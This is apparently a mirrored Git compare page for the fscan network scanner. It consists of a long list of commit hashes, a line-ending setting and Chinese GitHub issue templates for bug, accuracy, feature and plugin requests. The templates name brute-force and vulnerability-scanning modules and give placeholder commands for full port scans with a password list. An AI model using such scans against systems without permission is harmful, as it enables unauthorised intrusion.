mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7459da2b44 | ||
|
|
9d191889d0 | ||
|
|
2e277a51ed | ||
|
|
46e50a021f | ||
|
|
b32ce5dec8 | ||
|
|
2c2ca6ace3 | ||
|
|
db0b53b139 | ||
|
|
4c58843033 | ||
|
|
760c8ea502 | ||
|
|
594f567650 | ||
|
|
6b13b2e84f | ||
|
|
03b21f92f1 | ||
|
|
2674e469b8 | ||
|
|
d4a486763b | ||
|
|
6fe1f11e36 | ||
|
|
6f17deb963 | ||
|
|
820ba6a35b | ||
|
|
5bdfd769f2 | ||
|
|
b6b898532b | ||
|
|
5dd74269a8 | ||
|
|
26d0955ec6 | ||
|
|
a198aeabe5 | ||
|
|
f182732a8b | ||
|
|
b49228a07b | ||
|
|
3af09b7d8a | ||
|
|
379117b07a | ||
|
|
4adb4222dd | ||
|
|
dd8e327a56 | ||
|
|
ad5798d02e | ||
|
|
3c8511e91f | ||
|
|
d5e2c15333 | ||
|
|
9967b34fff | ||
|
|
487681b353 | ||
|
|
b1e67fd7b1 | ||
|
|
ac68df70f7 | ||
|
|
76cbdfb5f6 | ||
|
|
c4378545b9 | ||
|
|
5aa2fd3599 | ||
|
|
faa9f319c8 | ||
|
|
25dc6102ed | ||
|
|
0dc4a6c360 | ||
|
|
2b4a4024b8 | ||
|
|
e58a48ba9b | ||
|
|
a8bd8ca508 | ||
|
|
247459a7f7 | ||
|
|
424c654c43 | ||
|
|
7865038b22 | ||
|
|
64588ab28a | ||
|
|
2d9ea9c1d3 | ||
|
|
a30cd12249 | ||
|
|
c074adb3a9 | ||
|
|
f2475bf97c | ||
|
|
580b067298 | ||
|
|
a010fcbb6c | ||
|
|
1f0d11d93e | ||
|
|
a3c5092f9b | ||
|
|
16e40fe7ed | ||
|
|
f921d81a76 | ||
|
|
a1452eb635 | ||
|
|
e4833fd5af | ||
|
|
9092b09b16 | ||
|
|
d90deb0201 | ||
|
|
d1d242e6a8 | ||
|
|
28a64d60c4 | ||
|
|
124d29a6b3 | ||
|
|
4928b4668a | ||
|
|
5dfd0397d5 | ||
|
|
805af82a1e | ||
|
|
875d128e53 | ||
|
|
36134b7298 | ||
|
|
be3affcedd | ||
|
|
165ac8507d | ||
|
|
0d8f31b72d | ||
|
|
77705118d5 | ||
|
|
7da74ebb52 | ||
|
|
a8b83f90a0 | ||
|
|
a2c56ab106 | ||
|
|
b89e892f14 | ||
|
|
f79b12a23c | ||
|
|
b8cc8ab5dc | ||
|
|
b73996884f | ||
|
|
c58b63a6ac | ||
|
|
e4e3ff1763 | ||
|
|
e962b9171b | ||
|
|
2c4e1d9c28 | ||
|
|
e688b42efe | ||
|
|
1e42d41a1c | ||
|
|
87ceba4d8f | ||
|
|
cb6d67ed7b | ||
|
|
5c8088ff32 | ||
|
|
8170515236 | ||
|
|
f27d9b31aa | ||
|
|
d05641a7fc | ||
|
|
3e04e7801f | ||
|
|
4aaa05f6a4 | ||
|
|
42f8052b96 | ||
|
|
150d62824c | ||
|
|
c3219848ef | ||
|
|
7312da8af8 | ||
|
|
3beb6b42b2 | ||
|
|
18aae783c6 | ||
|
|
8e59c8f09c | ||
|
|
3ae0f306c1 | ||
|
|
cc9d292bdd | ||
|
|
46e0472ec1 | ||
|
|
3dde342d65 | ||
|
|
eb8cda3b7f | ||
|
|
bcb326dbef | ||
|
|
102d100c25 | ||
|
|
b8a591920b | ||
|
|
c94ec76292 | ||
|
|
65b94465fe | ||
|
|
d367be0c68 | ||
|
|
cdbc0e02f3 | ||
|
|
f20aadb745 | ||
|
|
97e9ac7161 | ||
|
|
c6c613a17b | ||
|
|
a245934cf2 | ||
|
|
0235bf5af5 | ||
|
|
e2c8dd8b1f | ||
|
|
e624c3092f | ||
|
|
86b6faec79 | ||
|
|
8f2226987d | ||
|
|
a852bc569f | ||
|
|
2da0804b7f | ||
|
|
235e2aee60 | ||
|
|
af06345aa5 | ||
|
|
75aeee5215 | ||
|
|
a42ee523b0 | ||
|
|
a603e13d3b | ||
|
|
ceede3cd68 | ||
|
|
277ea5d332 | ||
|
|
d13e1952e9 | ||
|
|
df4d39fb1f | ||
|
|
e93b6fc613 | ||
|
|
42482228da | ||
|
|
c004762a8c | ||
|
|
ed69e41001 | ||
|
|
5e06a0b2b7 | ||
|
|
2ce7041c95 | ||
|
|
0954492540 | ||
|
|
ee1d176a8f | ||
|
|
ef70395d7d | ||
|
|
907b92863e | ||
|
|
befaa28bbd | ||
|
|
679c25eb38 | ||
|
|
ad9cafe0ad | ||
|
|
40e8f6621d | ||
|
|
fe1b92cc98 | ||
|
|
0a9c732ee8 | ||
|
|
94121a796f | ||
|
|
fa1d787c84 | ||
|
|
1a5f789ba8 | ||
|
|
57b6d41737 | ||
|
|
1f860f22c8 | ||
|
|
6ba42c8c39 | ||
|
|
016dfa7889 | ||
|
|
1906acf551 | ||
|
|
26525dbb0e | ||
|
|
3529efcb24 | ||
|
|
9e8726e1f8 | ||
|
|
5524300824 | ||
|
|
c62e19ad26 | ||
|
|
7bded7bc31 | ||
|
|
8f5d0caaf2 | ||
|
|
46f9ab84b1 | ||
|
|
04ee3afb07 | ||
|
|
a5738304a1 | ||
|
|
66e52791f7 | ||
|
|
760246b7e0 | ||
|
|
ee8f52c199 | ||
|
|
dfe74fc5b4 | ||
|
|
f06013326f | ||
|
|
4d6b529768 | ||
|
|
bbbc4317df | ||
|
|
1b9c9a00fe | ||
|
|
cfea0afd9c | ||
|
|
70d008ba69 | ||
|
|
eb1b0f32a6 | ||
|
|
e70a1a7bd2 | ||
|
|
8be8f94d82 | ||
|
|
2e3ccee2e0 | ||
|
|
eab41f6018 | ||
|
|
c5dcf2c633 | ||
|
|
d192b7fc2a | ||
|
|
44c1a207dd | ||
|
|
33cb33b1ad | ||
|
|
17c85431ca | ||
|
|
8767c9bae4 | ||
|
|
2bfd58663c | ||
|
|
b7d4e185aa | ||
|
|
497bc2e86b | ||
|
|
9cd137c099 | ||
|
|
1313916081 | ||
|
|
e7d9354284 | ||
|
|
5789017d1a | ||
|
|
878595e341 | ||
|
|
c7b6e21d39 | ||
|
|
e6545417b8 | ||
|
|
3fe6e3eec5 | ||
|
|
5190d63680 | ||
|
|
daec3c1ca4 | ||
|
|
763da727ac | ||
|
|
92217f572f | ||
|
|
bf1b45f407 | ||
|
|
672dfee2ac | ||
|
|
57e0cc06e1 | ||
|
|
375a1e4673 | ||
|
|
8f1c5dbae9 | ||
|
|
92c03e95a9 | ||
|
|
4da94448cb | ||
|
|
2f7d020e9f | ||
|
|
9c0fcd98fe | ||
|
|
1278a0355f | ||
|
|
0152428748 | ||
|
|
bdeabec67e | ||
|
|
c0b7f4ca4f | ||
|
|
ef2c20bf4e | ||
|
|
2481ca4184 | ||
|
|
9ee51a96d8 | ||
|
|
40b6dbcd1c | ||
|
|
59cc462467 | ||
|
|
1bafa4d6f5 | ||
|
|
01ae22119d | ||
|
|
45a861d4f1 | ||
|
|
c3c413ebc0 | ||
|
|
1cfedda2ce | ||
|
|
08ba177f52 | ||
|
|
346ece01f6 | ||
|
|
95d806d4a9 | ||
|
|
f3ba1acd75 | ||
|
|
e34b737b87 | ||
|
|
96798b6fa3 | ||
|
|
8837f61197 | ||
|
|
8984ae52a3 | ||
|
|
d6349a9d88 | ||
|
|
2969cac802 | ||
|
|
de076d1a13 | ||
|
|
75cd097e35 | ||
|
|
1418487735 | ||
|
|
39dabbfb9e | ||
|
|
035bf862a3 | ||
|
|
5c05965967 | ||
|
|
6ee7bab188 | ||
|
|
2c1bdd98ee | ||
|
|
ce211fef78 | ||
|
|
97b205f4a7 | ||
|
|
7dbb6b652f | ||
|
|
a0c648c5a2 | ||
|
|
1deeb8bb71 | ||
|
|
85778a9773 | ||
|
|
c8687827ac | ||
|
|
0cfbf40baf | ||
|
|
b14510fa52 | ||
|
|
b857dd4fa7 | ||
|
|
fc94e4ee0d | ||
|
|
dfc84e9813 | ||
|
|
6a84d0cf8a | ||
|
|
38ea172e26 | ||
|
|
2ce84dc517 | ||
|
|
7f62d4a835 | ||
|
|
9296ad0846 | ||
|
|
6d499dae10 | ||
|
|
4d3ccba255 | ||
|
|
02eb3d6f7a | ||
|
|
6a33a65c94 | ||
|
|
d860eb63b3 | ||
|
|
b1883ca707 | ||
|
|
468447861c | ||
|
|
88d3fe489d | ||
|
|
728f6c78b5 | ||
|
|
0349952dd1 | ||
|
|
352cbd44be | ||
|
|
cd6809e775 | ||
|
|
79343b1722 | ||
|
|
5cc6687248 | ||
|
|
dd8514784e | ||
|
|
6a452d5959 | ||
|
|
35fc0fadc5 | ||
|
|
ec30b0d2a4 | ||
|
|
e39363dce0 | ||
|
|
59e5b88600 | ||
|
|
23fea2c290 | ||
|
|
5ad4c1a580 | ||
|
|
8d5806e456 | ||
|
|
66125a3a2d | ||
|
|
1d0676e508 | ||
|
|
9433741471 | ||
|
|
ec346409f7 | ||
|
|
56c4453c7f | ||
|
|
0eeda0879d | ||
|
|
5d9bcaaadc | ||
|
|
ab14b15864 | ||
|
|
cae98e7d90 | ||
|
|
f35a259f11 | ||
|
|
e15f8e8cc0 | ||
|
|
42908d3319 | ||
|
|
77d59c1e6b | ||
|
|
02dfcebcc5 | ||
|
|
624ab9bab0 | ||
|
|
5ad5af884e | ||
|
|
3dfd2e9e30 | ||
|
|
d01df95dba | ||
|
|
513bb93e1b | ||
|
|
e433c635dd | ||
|
|
509f53f4b3 | ||
|
|
d470a91d55 | ||
|
|
a11b769603 | ||
|
|
1d9b6528dd | ||
|
|
0fd6658bce | ||
|
|
15f3864db2 | ||
|
|
eefd29d102 | ||
|
|
66671cd4cf | ||
|
|
19d969acd2 | ||
|
|
276b446e0c | ||
|
|
15cdc19097 | ||
|
|
197b0884a1 | ||
|
|
0cf8b8c180 | ||
|
|
c5adbdb551 | ||
|
|
5dc1c4ee5e | ||
|
|
1c631133ad | ||
|
|
6bf396d09f | ||
|
|
7f7ae9dc65 | ||
|
|
b46090d196 | ||
|
|
f51291512c | ||
|
|
7eb2bccde7 | ||
|
|
5cc16fe079 | ||
|
|
af1c30a86e | ||
|
|
2ca79f2979 | ||
|
|
490a272e4b | ||
|
|
362d23e577 | ||
|
|
464128cdee | ||
|
|
57eeb41453 | ||
|
|
989389fd52 | ||
|
|
5d154ce6a1 | ||
|
|
59983affb7 | ||
|
|
29acfb166b | ||
|
|
53c1b3232a | ||
|
|
608b2e2c87 | ||
|
|
99d526d7d0 | ||
|
|
5ff8b781c8 | ||
|
|
468381fb18 | ||
|
|
268f7d2aed | ||
|
|
6cd1ee75f5 | ||
|
|
29beca41d0 | ||
|
|
dd1fc49f01 | ||
|
|
acd5a1a8bb | ||
|
|
0d717d6676 | ||
|
|
52c680af0d | ||
|
|
8bcbdf1f38 | ||
|
|
21f9320ba8 | ||
|
|
e2afd85cca | ||
|
|
dc945ccf0e | ||
|
|
54ba490246 | ||
|
|
5e99a7910e | ||
|
|
d5afffafa2 | ||
|
|
0efbd87920 | ||
|
|
88745f55a7 | ||
|
|
9d02632dcc | ||
|
|
dc0dd7a469 | ||
|
|
1773fcbfcc | ||
|
|
22d6e16785 | ||
|
|
afe9a0228f | ||
|
|
019544cd07 | ||
|
|
fddfd08d01 | ||
|
|
8573f8c233 | ||
|
|
9f12983f34 | ||
|
|
eac7f93fcc | ||
|
|
5242388522 | ||
|
|
79fa3a8920 | ||
|
|
2d10162749 | ||
|
|
a2a4afc41d | ||
|
|
96b7a93034 | ||
|
|
1e01f27a99 | ||
|
|
31aba615ba | ||
|
|
18937e1e4a | ||
|
|
4cc65afe14 | ||
|
|
430e4e9640 | ||
|
|
1ce7f4e517 | ||
|
|
8a788427b7 | ||
|
|
29b746ee80 | ||
|
|
04a7ba1357 | ||
|
|
db38dbdcc7 | ||
|
|
f0cb31a6d2 | ||
|
|
d151ea2c7f | ||
|
|
7bf79b60af | ||
|
|
5c119e97ae | ||
|
|
4cfe02ac2c | ||
|
|
e14bc5ca14 | ||
|
|
857c4c0d4b | ||
|
|
58890cd5e6 | ||
|
|
978511a7ef | ||
|
|
c492386977 | ||
|
|
98300cbc9c | ||
|
|
0f01d63d8a | ||
|
|
ecb0cd9e5f | ||
|
|
7d77fa9016 | ||
|
|
b401b896f4 | ||
|
|
eb5558e6d9 | ||
|
|
79d44e00b3 | ||
|
|
ecc362d660 | ||
|
|
ccdaef3486 | ||
|
|
abd2ba0947 | ||
|
|
6c6f522bc9 | ||
|
|
27c7e3977e | ||
|
|
f8b44e37ea | ||
|
|
1d2fa6c470 | ||
|
|
384bb326c0 | ||
|
|
4c254b019a | ||
|
|
6e9b6cf2f6 | ||
|
|
1166e24092 | ||
|
|
a9d05604f5 | ||
|
|
41f8d3abad | ||
|
|
b1f550daaf | ||
|
|
ae86f08432 | ||
|
|
3e8f23466d | ||
|
|
9d4d67e523 | ||
|
|
fc416545a3 | ||
|
|
769fc59fd1 | ||
|
|
38e48ba420 | ||
|
|
076e001217 | ||
|
|
f981cf22e8 | ||
|
|
2e46d1adb6 | ||
|
|
4908720acb | ||
|
|
98569648bb | ||
|
|
9b0f12c31a | ||
|
|
e705b33830 | ||
|
|
3f8fd82674 | ||
|
|
3ba0a2abd3 | ||
|
|
6f9e49a572 | ||
|
|
c717094158 | ||
|
|
023fa19a48 | ||
|
|
ed96a8dd89 | ||
|
|
45008bcbfc | ||
|
|
740ce8552a | ||
|
|
cd423c88d1 | ||
|
|
fe937ec056 | ||
|
|
30df6b651f | ||
|
|
6e5642c508 | ||
|
|
2a6491808d | ||
|
|
0146a941cf | ||
|
|
67f30bf4e3 | ||
|
|
f2239b6c9f | ||
|
|
b9b5eb9ce4 | ||
|
|
4b596180a3 | ||
|
|
8e1db5995e | ||
|
|
b1d85833a7 | ||
|
|
fdffb369c9 | ||
|
|
a2573e10bb | ||
|
|
198abff115 | ||
|
|
cf9389e879 | ||
|
|
85e636fcea | ||
|
|
2cef5c66d6 | ||
|
|
11fb239c61 | ||
|
|
4915539fb3 | ||
|
|
55825f3b7c | ||
|
|
c67d09371f | ||
|
|
9f27655182 | ||
|
|
0b8c0ccc96 | ||
|
|
5bb7502ba3 | ||
|
|
ab60c985a6 | ||
|
|
5c112e0ca8 | ||
|
|
6f15f835f0 | ||
|
|
d774023da7 | ||
|
|
df527adda9 | ||
|
|
2d496cafc9 | ||
|
|
584771114d | ||
|
|
5dcb789e33 | ||
|
|
bb544cfbf3 | ||
|
|
c4950e2a93 | ||
|
|
4c51ae1f2a | ||
|
|
d1ff89676d | ||
|
|
9527fcf0c7 | ||
|
|
a01599ee7c | ||
|
|
c64c64477b | ||
|
|
2ebda8baa9 | ||
|
|
ed99ee0fad | ||
|
|
0b8e1ddaf9 | ||
|
|
ddf824b985 | ||
|
|
8acb02dc30 | ||
|
|
c594f9f350 | ||
|
|
e24168e895 | ||
|
|
3b23c93c35 | ||
|
|
c59a5c3553 | ||
|
|
6db53c8cea | ||
|
|
ebf990eca0 | ||
|
|
9b6596315e | ||
|
|
bdeaae9dcf | ||
|
|
a56144d84a | ||
|
|
49a3b94c53 | ||
|
|
c3fc054912 | ||
|
|
205021afec | ||
|
|
dbb6f43fc1 | ||
|
|
0b22898547 | ||
|
|
6ce60284bc | ||
|
|
60cd94d459 | ||
|
|
b80ea1316f | ||
|
|
d1bcc60bcb | ||
|
|
17544b375b | ||
|
|
edb6920622 | ||
|
|
e1a4bfabfc | ||
|
|
f71b4ab68f | ||
|
|
bd0bcb4b66 | ||
|
|
b93df1ab20 | ||
|
|
dc634f9184 | ||
|
|
e875f4f930 | ||
|
|
6807508b69 | ||
|
|
4a34745091 | ||
|
|
e49e6dd433 | ||
|
|
dd00ec7bac | ||
|
|
b06d7ac94c | ||
|
|
858c28724b | ||
|
|
e56713fdf0 | ||
|
|
c4446ee357 | ||
|
|
10d4b19897 | ||
|
|
21180c3da8 | ||
|
|
30d1e6d9ca | ||
|
|
e9292dc7ad | ||
|
|
70f1c6bd71 | ||
|
|
5f981089a1 | ||
|
|
dc267a5335 | ||
|
|
37f53e3f16 | ||
|
|
734f8520fc | ||
|
|
53df72db02 | ||
|
|
842ee37594 | ||
|
|
b4e33c5127 | ||
|
|
0733c10a05 | ||
|
|
297aba6c4f | ||
|
|
d5665f03d6 | ||
|
|
2e452a9695 | ||
|
|
07633cb24d | ||
|
|
5104cb9980 | ||
|
|
24d8cc775c | ||
|
|
922da8f168 | ||
|
|
65df3de81d | ||
|
|
71ff6e9a0c | ||
|
|
dc949e25b1 | ||
|
|
6a4bbe3781 | ||
|
|
c322700c6d | ||
|
|
f64b185e6d | ||
|
|
71024954e2 | ||
|
|
1499c7253a | ||
|
|
d38e38e17a | ||
|
|
ddb5a9f228 | ||
|
|
ceb585d018 | ||
|
|
3d3ecac605 | ||
|
|
1437ac60ff | ||
|
|
c8ec4eab79 | ||
|
|
80fe8548c1 | ||
|
|
ad1c53e3f4 | ||
|
|
a8835a9fe4 | ||
|
|
db8acb2828 | ||
|
|
288338bc9d | ||
|
|
0743e4cb68 | ||
|
|
6cdf1e19dc | ||
|
|
a427833e3f | ||
|
|
d974523d88 | ||
|
|
c90c9272f0 | ||
|
|
a9e78b6de3 | ||
|
|
ca1e0c791c | ||
|
|
90ef895e0f | ||
|
|
162d1dd3a3 | ||
|
|
f3b0c4a6d2 | ||
|
|
936c1f5395 | ||
|
|
9d385eb26a | ||
|
|
61e814119d | ||
|
|
f5c9667f91 | ||
|
|
4f3ff608ab | ||
|
|
0dd41e2917 | ||
|
|
7031d78439 | ||
|
|
4431b42b35 | ||
|
|
b6133c4a55 | ||
|
|
ef6a196de7 | ||
|
|
cd53258f0d | ||
|
|
93245a16d0 | ||
|
|
79aa24fc8f | ||
|
|
9aba1c88a3 | ||
|
|
400f4373c9 | ||
|
|
402add56c7 | ||
|
|
7294051b44 | ||
|
|
f1163fc3d7 | ||
|
|
2466fc3ea7 | ||
|
|
e2eba97114 | ||
|
|
fcbebab2ca | ||
|
|
ab31738807 | ||
|
|
6bca014fda | ||
|
|
27324dc4a5 | ||
|
|
323d786c66 | ||
|
|
78fb5339e6 | ||
|
|
0d4299c23d | ||
|
|
064617d93c | ||
|
|
5537eb8b80 | ||
|
|
067322203d | ||
|
|
7f2f7df67e | ||
|
|
6fae8bf277 | ||
|
|
f4b6ecc363 | ||
|
|
559d6c7c4b | ||
|
|
7535fdace7 | ||
|
|
d6e8d37ce8 | ||
|
|
e43a7f5610 | ||
|
|
05d746bec4 | ||
|
|
f7989d84bf | ||
|
|
d503f55693 | ||
|
|
e866d68f10 | ||
|
|
bb3222451c | ||
|
|
764e7723e1 | ||
|
|
66cd740580 | ||
|
|
41ec4489da | ||
|
|
6ed5967705 | ||
|
|
d311d8cb79 | ||
|
|
3ca56ff222 | ||
|
|
5b330bb12d | ||
|
|
089502eb52 | ||
|
|
34706e6bca | ||
|
|
ba85e2178e | ||
|
|
5e7def5085 | ||
|
|
423c0bebea | ||
|
|
f3a3dd2f8c | ||
|
|
ae2a4621d4 | ||
|
|
d79194389d | ||
|
|
86b91c1c2e | ||
|
|
5c000b2ffc | ||
|
|
2ed5948d08 | ||
|
|
eb4cece0f9 | ||
|
|
021592c237 | ||
|
|
8664cf3833 | ||
|
|
41deddb132 | ||
|
|
0df4e314d1 | ||
|
|
79ea046ed2 | ||
|
|
db5023c4c4 | ||
|
|
51b8b2c0e2 | ||
|
|
583e51d479 |
@@ -0,0 +1,2 @@
|
||||
# 统一换行符为 LF
|
||||
* text=auto eol=lf
|
||||
@@ -0,0 +1,124 @@
|
||||
name: 🐛 Bug 报告
|
||||
description: 报告扫描异常、崩溃或错误行为
|
||||
title: "[Bug] 简要描述问题"
|
||||
labels: ["bug"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。
|
||||
|
||||
- type: dropdown
|
||||
id: module
|
||||
attributes:
|
||||
label: 问题模块
|
||||
description: 问题出现在哪个功能模块?
|
||||
options:
|
||||
- 端口扫描 (Port Scan)
|
||||
- 主机存活检测 (Host Discovery)
|
||||
- 服务识别 (Service Detection)
|
||||
- 弱口令爆破 (Brute Force)
|
||||
- POC/漏洞扫描 (POC Scan)
|
||||
- Web指纹识别 (Web Fingerprint)
|
||||
- 输出/日志 (Output/Logging)
|
||||
- 命令行参数 (CLI Arguments)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: severity
|
||||
attributes:
|
||||
label: 严重程度
|
||||
options:
|
||||
- 崩溃/无法使用 (Crash)
|
||||
- 功能异常 (Malfunction)
|
||||
- 结果不准确 (Inaccurate)
|
||||
- 性能问题 (Performance)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: 问题描述
|
||||
description: 清晰描述遇到的问题
|
||||
placeholder: |
|
||||
发生了什么?
|
||||
预期的行为是什么?
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: reproduce
|
||||
attributes:
|
||||
label: 复现步骤
|
||||
description: 提供可以复现问题的命令或步骤
|
||||
placeholder: |
|
||||
1. 执行命令: fscan -h xxx -p xxx
|
||||
2. 观察到...
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: output
|
||||
attributes:
|
||||
label: 错误输出
|
||||
description: 粘贴相关的错误信息或日志(请脱敏敏感信息)
|
||||
render: shell
|
||||
|
||||
- type: dropdown
|
||||
id: version
|
||||
attributes:
|
||||
label: fscan 版本
|
||||
options:
|
||||
- 2.1.0
|
||||
- 2.0.1
|
||||
- 2.0.0
|
||||
- 1.8.4
|
||||
- 其他/自编译
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: os
|
||||
attributes:
|
||||
label: 操作系统
|
||||
options:
|
||||
- Windows 11
|
||||
- Windows 10
|
||||
- Windows Server 2022
|
||||
- Windows Server 2019
|
||||
- Ubuntu 22.04
|
||||
- Ubuntu 20.04
|
||||
- CentOS 7
|
||||
- CentOS 8/Stream
|
||||
- Debian 11/12
|
||||
- Kali Linux
|
||||
- macOS 14 (Sonoma)
|
||||
- macOS 13 (Ventura)
|
||||
- 其他 Linux
|
||||
- 其他
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: arch
|
||||
attributes:
|
||||
label: 系统架构
|
||||
options:
|
||||
- amd64 (x86_64)
|
||||
- arm64 (aarch64)
|
||||
- 386 (x86)
|
||||
- arm
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: additional
|
||||
attributes:
|
||||
label: 补充信息
|
||||
description: 其他可能有助于排查问题的信息(如自编译请注明 Go 版本)
|
||||
@@ -0,0 +1,11 @@
|
||||
# Issue 模板配置
|
||||
# 禁止空白 issue,强制用户选择模板
|
||||
blank_issues_enabled: false
|
||||
|
||||
contact_links:
|
||||
- name: 📖 使用文档
|
||||
url: https://github.com/shadow1ng/fscan/blob/main/README.md
|
||||
about: 提交 Issue 前请先查阅文档
|
||||
- name: 💬 讨论区
|
||||
url: https://github.com/shadow1ng/fscan/discussions
|
||||
about: 一般性问题和讨论请使用 Discussions
|
||||
@@ -0,0 +1,117 @@
|
||||
name: 🎯 误报/漏报
|
||||
description: 报告扫描结果不准确的问题
|
||||
title: "[Accuracy] 服务名 - 误报/漏报描述"
|
||||
labels: ["accuracy"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您帮助提高 fscan 的准确性!误报和漏报都是需要优化的问题。
|
||||
|
||||
- type: dropdown
|
||||
id: type
|
||||
attributes:
|
||||
label: 问题类型
|
||||
options:
|
||||
- 误报 (False Positive) - 报告了不存在的问题
|
||||
- 漏报 (False Negative) - 未能检测到存在的问题
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: 涉及功能
|
||||
options:
|
||||
- 主机存活检测
|
||||
- 端口状态判断
|
||||
- 服务识别
|
||||
- 弱口令检测
|
||||
- POC/漏洞检测
|
||||
- Web指纹识别
|
||||
- 其他
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: fscan-output
|
||||
attributes:
|
||||
label: fscan 输出结果
|
||||
description: 粘贴相关的扫描输出(请脱敏敏感信息如真实IP、密码等)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: actual
|
||||
attributes:
|
||||
label: 实际情况
|
||||
description: 描述目标的真实状态
|
||||
placeholder: |
|
||||
实际上这个端口是关闭的 / 服务版本是 xxx / 密码不是 xxx...
|
||||
验证方式: 通过 nmap/手动连接/其他工具 确认...
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: target-os
|
||||
attributes:
|
||||
label: 目标操作系统
|
||||
options:
|
||||
- Windows Server 2022
|
||||
- Windows Server 2019
|
||||
- Windows Server 2016
|
||||
- Windows 10/11
|
||||
- Ubuntu
|
||||
- CentOS/RHEL
|
||||
- Debian
|
||||
- 其他 Linux
|
||||
- 网络设备
|
||||
- 未知
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: network
|
||||
attributes:
|
||||
label: 网络环境
|
||||
options:
|
||||
- 直连
|
||||
- 通过代理
|
||||
- VPN
|
||||
- 跨网段
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: command
|
||||
attributes:
|
||||
label: 使用的命令
|
||||
description: 执行的 fscan 命令
|
||||
placeholder: "fscan -h x.x.x.x -p 1-65535 -pwdf pass.txt"
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: version
|
||||
attributes:
|
||||
label: fscan 版本
|
||||
options:
|
||||
- 2.1.0
|
||||
- 2.0.1
|
||||
- 2.0.0
|
||||
- 1.8.4
|
||||
- 其他/自编译
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: suggestion
|
||||
attributes:
|
||||
label: 改进建议
|
||||
description: 如果您有改进的想法,请分享
|
||||
placeholder: |
|
||||
建议增加 xxx 判断条件...
|
||||
或者调整 xxx 检测逻辑...
|
||||
@@ -0,0 +1,74 @@
|
||||
name: ✨ 功能请求
|
||||
description: 提议新功能或改进现有功能
|
||||
title: "[Feature] 一句话描述功能"
|
||||
labels: ["enhancement"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您的功能建议!请详细描述您的需求,这将帮助我们评估和实现。
|
||||
|
||||
- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: 功能类别
|
||||
options:
|
||||
- 新扫描能力 (New Scan Capability)
|
||||
- 性能优化 (Performance)
|
||||
- 用户体验 (UX/CLI)
|
||||
- 输出格式 (Output Format)
|
||||
- 配置选项 (Configuration)
|
||||
- 集成/API (Integration/API)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: problem
|
||||
attributes:
|
||||
label: 解决什么问题?
|
||||
description: 描述您遇到的痛点或使用场景
|
||||
placeholder: |
|
||||
在进行 xxx 操作时,我希望能够...
|
||||
目前的问题是...
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: solution
|
||||
attributes:
|
||||
label: 期望的解决方案
|
||||
description: 描述您希望的功能或行为
|
||||
placeholder: |
|
||||
希望能够通过 -xxx 参数来...
|
||||
或者增加一个新的模块来...
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: alternatives
|
||||
attributes:
|
||||
label: 替代方案
|
||||
description: 您考虑过的其他解决方案或变通方法
|
||||
placeholder: |
|
||||
目前我通过 xxx 方式来解决,但是...
|
||||
|
||||
- type: dropdown
|
||||
id: priority
|
||||
attributes:
|
||||
label: 优先级建议
|
||||
description: 您认为这个功能的重要程度
|
||||
options:
|
||||
- 高 - 核心功能缺失
|
||||
- 中 - 明显改善体验
|
||||
- 低 - 锦上添花
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: contribution
|
||||
attributes:
|
||||
label: 贡献意愿
|
||||
options:
|
||||
- label: 我愿意尝试实现这个功能并提交 PR
|
||||
@@ -0,0 +1,88 @@
|
||||
name: 🔌 新插件/协议支持
|
||||
description: 请求支持新的服务、协议或漏洞检测
|
||||
title: "[Plugin] 协议/服务名称"
|
||||
labels: ["plugin", "enhancement"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
|
||||
|
||||
- type: dropdown
|
||||
id: type
|
||||
attributes:
|
||||
label: 请求类型
|
||||
options:
|
||||
- 新服务/协议支持 (New Service)
|
||||
- 新弱口令检测 (New Brute Force)
|
||||
- 新漏洞 POC (New POC)
|
||||
- 新指纹识别 (New Fingerprint)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: service
|
||||
attributes:
|
||||
label: 服务/协议名称
|
||||
placeholder: "如: Kafka, ClickHouse, etcd, Consul"
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: port
|
||||
attributes:
|
||||
label: 默认端口
|
||||
placeholder: "如: 9092, 8123, 2379"
|
||||
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: 服务描述
|
||||
description: 简要介绍这个服务/协议
|
